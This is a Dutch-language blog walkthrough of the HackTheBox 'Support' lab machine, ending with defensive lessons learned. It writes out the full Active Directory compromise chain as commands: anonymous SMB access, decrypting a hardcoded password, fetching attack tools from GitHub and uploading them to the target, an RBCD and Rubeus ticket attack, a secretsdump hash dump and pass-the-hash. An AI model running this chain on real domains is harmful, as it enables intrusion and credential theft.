Blog Resources
All writeups

Support

Easy HackTheBox Completed
ADLDAPRBCDKerberosWindowsPrivesc.NETSMB

30 April 2026

HackTheBox — Support (Easy) Writeup

In deze write-up lopen we stap voor stap door de Support machine van HackTheBox. We beginnen helemaal bij het begin: van het scannen van de machine tot het verkrijgen van administrator-toegang. Elk commando wordt uitgelegd zodat je begrijpt waarom je het uitvoert, niet alleen wat je uitvoert.

---

Benodigde tools

Zorg dat je de volgende tools hebt voor je begint:

| Tool | Waarvoor | Installatie |
|------|----------|-------------|
| nmap | Poorten scannen | sudo apt install nmap |
| smbclient | SMB shares benaderen | sudo apt install smbclient |
| ILSpy | .NET binaries decompileren | Zie stap 2 |
| ldapsearch | LDAP queries uitvoeren | sudo apt install ldap-utils |
| evil-winrm | Windows shell via WinRM | sudo gem install evil-winrm |
| PowerView.ps1 | AD enumeration in PowerShell | Zie stap 7 |
| Powermad.ps1 | Machine accounts aanmaken | Zie stap 9 |
| Rubeus.exe | Kerberos ticket manipulatie | Zie stap 10 |
| impacket | Kerberos tickets op Linux | pip install impacket |

---

Stap 1 — Verkenning: Wat draait er op de machine?

Als eerste willen we weten welke poorten en services er open staan. Dit doen we met nmap.

nmap -sC -sV -oN support.nmap 10.129.43.78

Uitleg van de flags:


Relevante open poorten:

| Poort | Service | Wat betekent dit? |
|-------|---------|-------------------|
| 139/445 | SMB | Gedeelde bestanden/mappen |
| 389 | LDAP | Active Directory query service |
| 5985 | WinRM | Windows Remote Management — hiermee krijgen we later een shell |

De meest interessante poorten zijn SMB (445) en WinRM (5985).

---

Stap 2 — SMB Enumeration: Zijn er gedeelde mappen?

SMB (Server Message Block) is een protocol waarmee Windows bestanden en mappen deelt over een netwerk. Soms zijn deze mappen publiek toegankelijk zonder wachtwoord.

We bekijken welke shares er beschikbaar zijn:

smbclient -L //10.129.43.78 -N

Uitleg:


We zien een share genaamd support-tools. Verbinding maken:

smbclient //10.129.43.78/support-tools -N

In de SMB shell:

smb: > ls
UserInfo.exe.zip

Download het bestand:

smb: > get UserInfo.exe.zip
smb: > exit

Uitpakken:

unzip UserInfo.exe.zip

---

Stap 3 — ILSpy installeren op Linux

UserInfo.exe is een .NET applicatie. .NET applicaties kunnen volledig worden terugvertaald naar leesbare broncode met ILSpy. Dit is iets wat veel developers niet weten: compiled .NET code is niet echt "verborgen".

Download ILSpy:

cd ~/Downloads
wget https://github.com/icsharpcode/ILSpy/releases/latest/download/ILSpy-linux-x64-Release.zip
unzip ILSpy-linux-x64-Release.zip -d ILSpy
cd ILSpy && ./ILSpy

UserInfo.exe decompileren in ILSpy:
1. Klik op File → Open en selecteer UserInfo.exe
2. Navigeer in de boomstructuur links naar: UserInfo → UserInfo.Services → Protected

Je ziet nu de broncode van de Protected class:

private static string enc_password = "<ENC_PASSWORD_BASE64>";
private static byte[] key = Encoding.ASCII.GetBytes("armando");

public static string getPassword()
{
byte[] array = Convert.FromBase64String(enc_password);
for (int i = 0; i < array.Length; i++)
{
array[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
}
return Encoding.Default.GetString(array);
}

Er is een versleuteld wachtwoord dat via XOR wordt ontsleuteld. In de LdapQuery class zien we hoe het gebruikt wordt:

entry = new DirectoryEntry("LDAP://support.htb", "support\ldap", password);

De applicatie verbindt met LDAP als gebruiker ldap met dit wachtwoord.

---

Stap 4 — Wachtwoord ontsleutelen met Python

We schrijven een Python script dat dezelfde XOR-bewerking uitvoert als de C# code:

import base64

enc_password = "<ENC_PASSWORD_BASE64>"
key = b"armando"

array = base64.b64decode(enc_password)
result = []
for i in range(len(array)):
result.append((array[i] ^ key[i % len(key)]) ^ 0xDF)

print(bytes(result).decode())

Output: <LDAP_PASSWORD>

Sla op als decrypt.py en voer uit:

python3 decrypt.py

Veelgemaakte fout: Het wachtwoord bevat $ tekens. Als je dit typt in een bash commando met dubbele quotes ("..."), interpreteert bash de $ als een variabele en vervangt die door een lege string. Gebruik altijd enkele quotes ('...') voor wachtwoorden met speciale tekens.

We hebben nu:


---

Stap 5 — LDAP Enumeration: Meer informatie ophalen

LDAP (Lightweight Directory Access Protocol) is de taal waarmee je informatie uit Active Directory opvraagt. Met de gevonden credentials kunnen we nu alle gebruikers en hun eigenschappen opvragen.

ldapsearch -x -H ldap://10.129.43.78 -D "ldap@support.htb" -w '<LDAP_PASSWORD>' -b "DC=support,DC=htb" "(sAMAccountName=support)"

Uitleg:


In de output vinden we:
info: <SUPPORT_PASSWORD>

Iemand heeft het wachtwoord van de support gebruiker opgeslagen in het info-veld van het AD-account. Dit veld is leesbaar voor elke authenticated LDAP gebruiker — een ernstige beveiligingsfout.

We hebben nu:


---

Stap 6 — Eerste toegang via WinRM

WinRM (Windows Remote Management) laat je een PowerShell shell openen op een Windows machine. De tool evil-winrm maakt dit eenvoudig vanuit Linux.

Installeren als je het nog niet hebt:

sudo gem install evil-winrm

Verbinding maken:

evil-winrm -i 10.129.43.78 -u support -p '<SUPPORT_PASSWORD>'

Je hebt nu een PowerShell shell. Haal de user flag op:

type C:\Users\support\Desktop\user.txt

---

Stap 7 — Post-exploitation: Wie ben ik en wat kan ik?

Nadat je toegang hebt, is de eerste vraag altijd: wie ben ik en welke rechten heb ik?

whoami /all

Twee belangrijke dingen in de output:

Groepslidmaatschap:

SUPPORT\Shared Support Accounts

Privilege:

SeMachineAccountPrivilege   Add workstations to domain   Enabled

SeMachineAccountPrivilege betekent dat we computer-accounts mogen aanmaken in het domein. Dit klinkt onschuldig, maar in combinatie met wat we straks ontdekken is het gevaarlijk.

---

Stap 8 — PowerView: AD rechten bekijken

PowerView is een PowerShell script voor Active Directory enumeration.

Download op je Kali machine:

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

Upload via evil-winrm:

upload /pad/naar/PowerView.ps1

Laden in PowerShell:

. .\PowerView.ps1

> De punt (.) met een spatie ervoor betekent "importeer alle functies uit dit script in de huidige sessie". Zonder de punt zijn de functies na het uitvoeren niet beschikbaar.

Verifieer dat het werkt:

Get-NetUser support

Bekijk de ACL's van de Domain Controller:

Get-DomainObjectAcl -Identity "DC$" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -match "1103"}

> We filteren op 1103 — het laatste deel van de SID van Shared Support Accounts. ACL (Access Control List) bepaalt wat een object mag doen met een ander object.

De output toont:

ActiveDirectoryRights : GenericAll

GenericAll is het hoogste privilege over een AD-object: volledige controle. Onze groep heeft dit over de Domain Controller zelf.

---

Stap 9 — Powermad: Fake machine account aanmaken

RBCD (Resource-Based Constrained Delegation) laat een computer-account inloggen als een andere gebruiker bij een specifieke service. Normaal is dit voor legitieme scenario's, maar met GenericAll over de DC kunnen we dit misbruiken.

Aanvalsstappen:
1. Maak een computer-account aan dat jij controleert
2. Vertel de DC: vertrouw dit account om anderen te impersonaten
3. Vraag een Kerberos ticket aan als Administrator
4. Gebruik dat ticket om toegang te krijgen

Download Powermad op je Kali machine:

wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1

Upload en laden:

upload /pad/naar/Powermad.ps1
. .\Powermad.ps1

Nieuw machine account aanmaken:

New-MachineAccount -MachineAccount "FakeComputer" -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)

SID ophalen:

Get-NetComputer FakeComputer | Select-Object -ExpandProperty objectsid

Noteer de SID — je hebt hem nodig in de volgende stap.

RBCD instellen op de DC (voer elke regel apart in):

$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;JOUW-SID-HIER)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

> Voer elke regel apart in — als je ze samenplakt gaat PowerShell in de fout.

---

Stap 10 — Rubeus: Kerberos ticket aanvragen

Download Rubeus (pre-compiled binary):

wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe

Upload:

upload /pad/naar/Rubeus.exe

NTLM hash berekenen van het wachtwoord van FakeComputer:

Rubeus heeft de NTLM hash nodig, niet het wachtwoord zelf. Bereken dit op je Kali machine:

python3 -c "import hashlib,binascii; print(binascii.hexlify(hashlib.new('md4','Password123!'.encode('utf-16le')).digest()).decode())"

Output: <FAKECOMPUTER_NTLM_HASH>

Ticket genereren:

.\Rubeus.exe s4u /user:FakeComputer$ /rc4:<FAKECOMPUTER_NTLM_HASH> /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /nowrap

Kopieer de laatste base64-string uit de output (het langste blok onderaan, voor cifs/dc.support.htb).

---

Stap 11 — Ticket gebruiken met Impacket

Belangrijk: Evil-WinRM sessies kunnen Kerberos tickets die via Rubeus zijn geïmporteerd niet gebruiken voor SMB. We gebruiken het ticket op onze eigen Kali machine met impacket.

Base64 decoderen naar binair bestand:

echo "JOUW_BASE64_HIER" > /tmp/ticket.b64
base64 -d /tmp/ticket.b64 > /tmp/ticket.kirbi

Converteren van Windows-formaat (.kirbi) naar Linux-formaat (.ccache):

impacket-ticketConverter /tmp/ticket.kirbi /tmp/admin.ccache

Ticket activeren:

export KRB5CCNAME=/tmp/admin.ccache

Administrator hashes dumpen:

impacket-secretsdump -k -no-pass dc.support.htb

Output:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:<ADMIN_NTLM_HASH>:::

Het deel na de derde dubbele punt (bb06cbc02b39...) is de NTLM hash van de Administrator.

---

Stap 12 — Root shell via Pass-the-Hash

Pass-the-Hash is een techniek waarbij je een NTLM hash gebruikt om in te loggen zonder het wachtwoord te kennen. Windows authenticatie accepteert de hash direct.

evil-winrm -i 10.129.43.78 -u Administrator -H <ADMIN_NTLM_HASH>

Root flag ophalen:

type C:\Users\Administrator\Desktop\root.txt

---

Overzicht van de aanvalsketen

SMB share (anoniem toegankelijk)
    → UserInfo.exe.zip downloaden
    → ILSpy decompilatie van .NET binary
    → XOR-encrypted LDAP wachtwoord gevonden
    → LDAP query als ldap user
    → Wachtwoord gevonden in info-veld van support user
    → evil-winrm shell als support (user.txt)
    → whoami /all: SeMachineAccountPrivilege + Shared Support Accounts
    → PowerView: GenericAll van die groep over de DC
    → Powermad: FakeComputer machine account aanmaken
    → RBCD instellen op de DC via msds-allowedtoactonbehalfofotheridentity
    → Rubeus: S4U Kerberos ticket als Administrator
    → impacket-ticketConverter + secretsdump: Admin NTLM hash
    → evil-winrm Pass-the-Hash: Administrator shell (root.txt)

---

Lessons Learned

1. .NET code is niet 'compiled' in de traditionele zin — ILSpy decomplileert het volledig terug naar leesbare C# code. Sla nooit credentials op in een .NET applicatie, ook niet versleuteld.

2. AD info-veld is publiek leesbaar — Elk veld in een AD gebruikersprofiel is leesbaar voor alle authenticated gebruikers in het domein. Gebruik het nooit voor wachtwoorden.

3. GenericAll over een computer-object = domain compromise — Beperk altijd welke groepen volledige rechten hebben over computer-objecten, zeker over Domain Controllers.

4. SeMachineAccountPrivilege is gevaarlijker dan het lijkt — Gecombineerd met GenericAll over een computer is dit genoeg voor een volledige domain takeover via RBCD.

5. $ tekens in wachtwoorden — Gebruik altijd enkele quotes in bash als een wachtwoord speciale tekens bevat.

6. Evil-WinRM en Kerberos tickets — Tickets die via Rubeus /ptt worden geïmporteerd in een WinRM-sessie werken niet voor SMB. Gebruik impacket op je eigen machine.

7. Machine accounts kunnen verdwijnen — HTB reset machines periodiek, waardoor aangemaakt accounts verdwijnen. Maak bij een nieuwe sessie een nieuw account aan.

Want to try this CTF challenge yourself? Click here
🔒 Protect your IP while hacking — use a VPN NordVPN →